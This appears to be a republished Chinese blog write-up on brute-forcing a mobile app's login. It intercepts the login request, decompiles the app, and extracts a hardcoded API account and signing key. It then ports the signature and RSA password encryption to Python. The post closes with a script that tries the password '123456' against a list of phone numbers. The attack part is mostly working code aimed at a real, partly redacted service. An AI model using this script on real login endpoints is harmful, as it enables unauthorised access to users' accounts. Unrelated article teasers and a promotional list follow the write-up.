【网络安全】记一次APP登录爆破

news2024/11/25 13:28:20

使用工具

  1. 安卓12

  2. jadx-gui

抓取登录HTTP请求包

  1. 安装burp证书,并抓取登录请求。
POST /loginUser HTTP/1.1
Host: api.xxxx.xxxxx.com

apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D&timestamp=1658332134014
  1. 分析登录请求包中需要五个参数
  1. apiaccount
  2. sign
  3. enc
  4. phone
  5. timestamp

分析参数

apiaccount

搜索关键词
image.png

此关键词为固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516

【一一帮助安全学习一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程

phone

手机号

timestamp

  1. 此值为当前的时间戳String.valueOf(System.currentTimeMillis())
    image.png

  2. 改写为python代码

import time
timestamp = str(int(time.time()*1000)) 

sign

image.png
image.png
image.png

image.png
image.png

public static O d(String str, String str2) {
HashMap hashMap = new HashMap();
hashMap.put("phone", str);
hashMap.put("enc", e(str2));
return c.g.b.f.b.c(f.h(), a(hashMap));
}

private static Map<String, String> a(Map<String, String> map) {
HashMap hashMap = new HashMap();
hashMap.put("apiaccount", "vrpuc-aaf91f835147ce2d01216bd3bd5c3516");
hashMap.put("timestamp", String.valueOf(System.currentTimeMillis()));
TreeMap treeMap = new TreeMap();
treeMap.putAll(hashMap);
if (map != null) {
treeMap.putAll(map);
}
hashMap.put("sign", a((SortedMap<String, String>) treeMap));
if (map != null) {
hashMap.putAll(map);
}
return hashMap;
}

private static String a(SortedMap<String, String> sortedMap) {
StringBuffer stringBuffer = new StringBuffer();
for (Map.Entry<String, String> entry : sortedMap.entrySet()) {
if (!TextUtils.isEmpty(entry.getValue())) {
stringBuffer.append(entry.getKey() + "=" + entry.getValue() + "&");
}
}
stringBuffer.append("key=a0f723c011346j39w049d7bf0356b34b");
return D.d(stringBuffer.toString()).toUpperCase();
}
private static byte[] a(byte[] bArr, String str) {
if (bArr != null && bArr.length > 0) {
try {
MessageDigest messageDigest = MessageDigest.getInstance(str);
messageDigest.update(bArr);
return messageDigest.digest();
} catch (NoSuchAlgorithmException e2) {
e2.printStackTrace();
}
}
return null;
}

private static String q(byte[] bArr) {
int length;
if (bArr != null && (length = bArr.length) > 0) {
char[] cArr = new char[length << 1];
int i2 = 0;
for (int i3 = 0; i3 < length; i3++) {
int i4 = i2 + 1;
char[] cArr2 = f10685a;
cArr[i2] = cArr2[(bArr[i3] >> 4) & 15];
i2 = i4 + 1;
cArr[i4] = cArr2[bArr[i3] & 15];
}
return new String(cArr);
}
return "";
}

sign参数组合

sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'

enc

str = phone``str2 = password
image.png
image.png

image.png
image.png

image.png

image.png

image.png

image.png

image.png

大致流程

  1. 输入密码

  2. 密码 + 随机10位salt

    1. "password=" + "密码" + "&salt=" + salt
  3. 使用此函数操作密钥

private static byte[] b(String str) throws UnsupportedEncodingException {
int i2;
byte b2;
int i3;
byte b3;
int i4;
byte b4;
int i5;
byte b5;
StringBuffer stringBuffer = new StringBuffer();
byte[] bytes = str.getBytes("US-ASCII");
int length = bytes.length;
int i6 = 0;
while (i6 < length) {
while (true) {
i2 = i6 + 1;
b2 = f16023b[bytes[i6]];
if (i2 >= length || b2 != -1) {
break;
}
i6 = i2;
}
if (b2 == -1) {
break;
}
while (true) {
i3 = i2 + 1;
b3 = f16023b[bytes[i2]];
if (i3 >= length || b3 != -1) {
break;
}
i2 = i3;
}
if (b3 == -1) {
break;
}
stringBuffer.append((char) ((b2 << 2) | ((b3 & 48) >>> 4)));
while (true) {
i4 = i3 + 1;
byte b6 = bytes[i3];
if (b6 == 61) {
return stringBuffer.toString().getBytes("iso8859-1");
}
b4 = f16023b[b6];
if (i4 >= length || b4 != -1) {
break;
}
i3 = i4;
}
if (b4 == -1) {
break;
}
stringBuffer.append((char) (((b3 & 15) << 4) | ((b4 & 60) >>> 2)));
while (true) {
i5 = i4 + 1;
byte b7 = bytes[i4];
if (b7 == 61) {
return stringBuffer.toString().getBytes("iso8859-1");
}
b5 = f16023b[b7];
if (i5 >= length || b5 != -1) {
break;
}
i4 = i5;
}
if (b5 == -1) {
break;
}
stringBuffer.append((char) (b5 | ((b4 & 3) << 6)));
i6 = i5;
}
return stringBuffer.toString().getBytes("iso8859-1");
}
  1. RSA加密
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(1, publicKey);
return cipher.doFinal(bArr);
  1. 使用此函数处理加密后的结果
public static String a(byte[] bArr) {
StringBuffer stringBuffer = new StringBuffer();
int length = bArr.length;
int i2 = 0;
while (true) {
if (i2 >= length) {
break;
}
int i3 = i2 + 1;
int i4 = bArr[i2] & 255;
if (i3 == length) {
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[(i4 & 3) << 4]);
stringBuffer.append("==");
break;
}
int i5 = i3 + 1;
int i6 = bArr[i3] & 255;
if (i5 == length) {
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
stringBuffer.append(f16022a[(i6 & 15) << 2]);
stringBuffer.append("=");
break;
}
int i7 = i5 + 1;
int i8 = bArr[i5] & 255;
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]);
stringBuffer.append(f16022a[i8 & 63]);
i2 = i7;
}
return stringBuffer.toString();
}

改写为python代码

def main(phone,password):
url = "https://xx.com/loginUser"
sign = ""
enc = ""
tmtp = str(int(time.time() * 1000))

salt = "1234567890"  # 随机生成的10个数字
enc_ori = "password=" + password + "&salt=" + salt
enc = gen_enc(enc_ori)

sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=' + phone+'&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'

sign = gen_sign(sign_ori)
print(quote_plus(enc))

data = "apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="+phone+"&sign=" + sign + "&enc=" + quote_plus(enc) + "&timestamp=" + tmtp

res = requests.post(url=url, data=data)
print(res.text)

image.png

加载字典爆破

def main(phone, password):
res = requests.post(url=url, headers=headers, data=data)
print(res.text)

if __name__ == "__main__":
with open("phone","r") as f:
for i in f.readlines():
main(i.strip(),"123456")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/13837.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

经典排序方法思路简介

参考&#xff1a;https://zhuanlan.zhihu.com/p/166199924&#xff0c;https://www.runoob.com/w3cnote/ten-sorting-algorithm.html **稳定性&#xff1a;**是表示相同值的数据在排序好的结果中的位置前后关系依然不会变&#xff0c;例如[3,1,3],排序后的最后一个3位置不变&am…

java项目-第141期ssm美好生活日志网-ssm毕业设计_计算机毕业设计

java项目-第141期ssm美好生活日志网-ssm毕业设计 【源码请到资源专栏下载】 今天分享的项目是《ssm美好生活日志网》 该项目分为2个角色&#xff0c;管理员和用户。 用户可以浏览前台,包含功能有&#xff1a; 首页、日记信息、美食信息、景点信息、新闻推荐 、日记展示、论坛信…

【现代密码学原理】——数字签名(学习笔记)

&#x1f4d6; 前言&#xff1a;数字签名&#xff08;又称公钥数字签名&#xff09;是只有信息的发送者才能产生的别人无法伪造的一段数字串&#xff0c;这段数字串同时也是对信息的发送者发送信息真实性的一个有效证明。它是一种类似写在纸上的普通的物理签名&#xff0c;但是…

解读JVM级别本地缓存Caffeine青出于蓝的要诀3

Caffeine的异步淘汰清理机制 在惰性删除实现机制这边&#xff0c;Caffeine做了一些改进优化以提升在并发场景下的性能表现。我们可以和Guava Cache的基于容量大小的淘汰处理做个对比。 当限制了Guava Cache最大容量之后&#xff0c;有新的记录写入超过了总大小&#xff0c;会…

HTML---表单详解

目录 一、表单介绍 二、表单元素 1&#xff1a;input输入表单元素 &#xff08;1&#xff09; text和password &#xff08;2&#xff09;radio和checkbox &#xff08;3&#xff09;button 2&#xff1a;label标签 3&#xff1a;select下拉表单元素 4&#xff1a;textar…

喜报 | 强强联手,这件大事终于有着落了

近日&#xff0c;擎创科技与国产数据库领先品牌——达梦数据库达成战略合作伙伴关系&#xff0c;双方将在品牌、产品、技术、渠道等方面进行全方位合作&#xff0c;共同完成产品整合、资源共享、联合方案等事宜&#xff1b;共同赋能于金融、能源、交通等行业的数字化转型&#…

2019年1+X 证书 Web 前端开发中级理论考试题目原题+答案——第一套

&#x1f4da;文章目录 &#x1f3af;关于1X标准 &#x1f3af;关于中级考点 ⏩&#x1f4bb;答案速查 一、单选题&#xff08;每小题2分&#xff0c;共30小题&#xff0c;共60分&#xff09; 二、多选题&#xff08;每小题2分&#xff0c;共15小题&#xff0c;共30分&…

Java入门-Java语言概述

1、Java语言基本概述 1.1、什么是计算机编程语言 人与人之间是如何沟通的呢&#xff1f;从小父母就教会我们说话&#xff0c;在长期的熏陶和自我学习中&#xff0c;我们就学会了普通话&#xff0c;学会了表达自己的需求&#xff0c;父母收到我们的信号或者听到我们的要求也会尽…

C# 自定义控件

一 自定义控件 1 自定义控件的三种方式&#xff1a; 1&#xff09;复合控件&#xff1a;将标准控件组合起来 class YourControl:UserControl{}2) 扩展控件&#xff1a;继承于标准控件 class YourControl:Button{}3) 自定义控件&#xff1a;完全地自定义一个控件 class You…

CSSStyleSheet 对象(css 样式表)- 你不知道的有趣功能

1.概念 CSSStyleSheet 对象 代表着&#xff0c;css文件被浏览器解析后生成的css样式表。 CSS 样式表由 CSS 规则组成&#xff0c;可以通过 CSSRule 对象操作每条规则。CSSStyleSheet 对象允许您查询、插入和删除样式表规则。 例如&#xff1a;好玩儿的尝试&#xff08;改变页…

基于经验论述:实现k-NN算法

以兰普威尔小镇为例,那里的人们为他们的两支球队——兰普威尔红队和兰普威尔蓝队——而疯狂。红队已经存在很长时间了,人们很喜欢这支队伍。 但是后来,一些外地来的富翁买下了红队的最佳射手,成立了一支新的球队——蓝队。令多数红队球迷不满的是,这位最佳射手将继续带领蓝…

数据结构与算法_BST树_BST树的定义及删除操作

先写BST树的定义及特点&#xff0c;然后记录BST数的删除操作。 1 BST定义及特点 BST数是一棵特殊的二叉树&#xff0c;如何能得到一颗二叉搜索树呢&#xff1f;下面一个有序序列&#xff0c;经过二分搜索&#xff0c;得到的就是一颗BST树。根节点就是当前一轮要搜索的中间节点…

Cell子刊:器官再生,这种病可以让受损的肝脏再生

麻风病是由麻风杆菌引起的一种慢性传染病&#xff0c;主要病变在皮肤和周围神经。它是世界上最古老和最顽固的疾病之一&#xff0c;但引起它的细菌也可能具有令人惊讶的生长和再生重要器官的能力。器官再生是治疗疾病、损伤或衰老功能障碍的理想策略&#xff0c;尽管体外模型、…

linux-adnroid 键值枚举与注释

一、概述 没有找到直接的linux 键值枚举的注释。在android 官网linux-android健码网页里找到了这个映射关系。因为android列的比较多。去掉冗余摘取主要对比和注释进表格。 二、术语摘抄解释 HID 用法、Linux 键码和 Android 键码 系统根据抽象层使用几个不同的标识符来引用…

【服务器数据恢复】5节点Lustre分布式文件系统RAID5数据恢复案例

服务器数据恢复环境&#xff1a; 5台服务器节点&#xff0c;每台服务器节点配置一组RAID5&#xff0c;每组6块硬盘&#xff0c;其中1块设置为热备盘。 系统环境为Lustre分布式文件系统&#xff0c;5台服务器共同存储全部的数据文件。 服务器故障&检测&#xff1a; 机房漏水…

你被裁了需要知道的一些细节

前言 就在上周&#xff0c;得知自己要被裁了&#xff0c;理由是公司在疫情下的经济性裁员&#xff0c;在这里总结一下关于裁员过程中需要注意的一些细节。 关于工作交接 要在收到书面通知之后&#xff0c;再进行工作交接&#xff0c;否则可能面临的风险是公司卸磨杀驴。 关…

C++初阶 List的模拟实现

作者&#xff1a;小萌新 专栏&#xff1a;C初阶 作者介绍&#xff1a;大二学生 希望能和大家一起进步 本篇博客简介&#xff1a;模拟STL中List的实现 List的模拟实现本篇博客目标节点类的实现构造函数迭代器类的实现迭代器类模拟实现的意义迭代器类的三个参数说明构造函数运算…

zabbix自定义模板,邮件报警,代理服务器,自动发现与自动添加及snmp

内容预知 1.自定义监控内容 监控案例1&#xff1a;登录人数检测 具体步骤 步骤一&#xff1a;在客户端创建自定义 key 步骤二&#xff1a;在 Web 页面创建自定义监控项模板 &#xff08;1&#xff09;创建模板 &#xff08;2&#xff09;创建应用集&#xff08;用于管理…

《数据结构》顺序表ArrayList

《数据结构》顺序表ArrayList 文章目录《数据结构》顺序表ArrayList什么是顺序表:模拟实现顺序表(以int类型为例)详解ArrayList:ArrayList实现的接口:ArrayList的构造方法:对源码的解析:ArrayList的方法ArrayList的扩容机制ArrayList的缺陷什么是顺序表: 顺序表是用一段物理地…

【Hack The Box】windows练习-- acute

HTB 学习笔记 【Hack The Box】windows练习-- acute &#x1f525;系列专栏&#xff1a;Hack The Box &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年11月17日&#x1f334; &#x1f…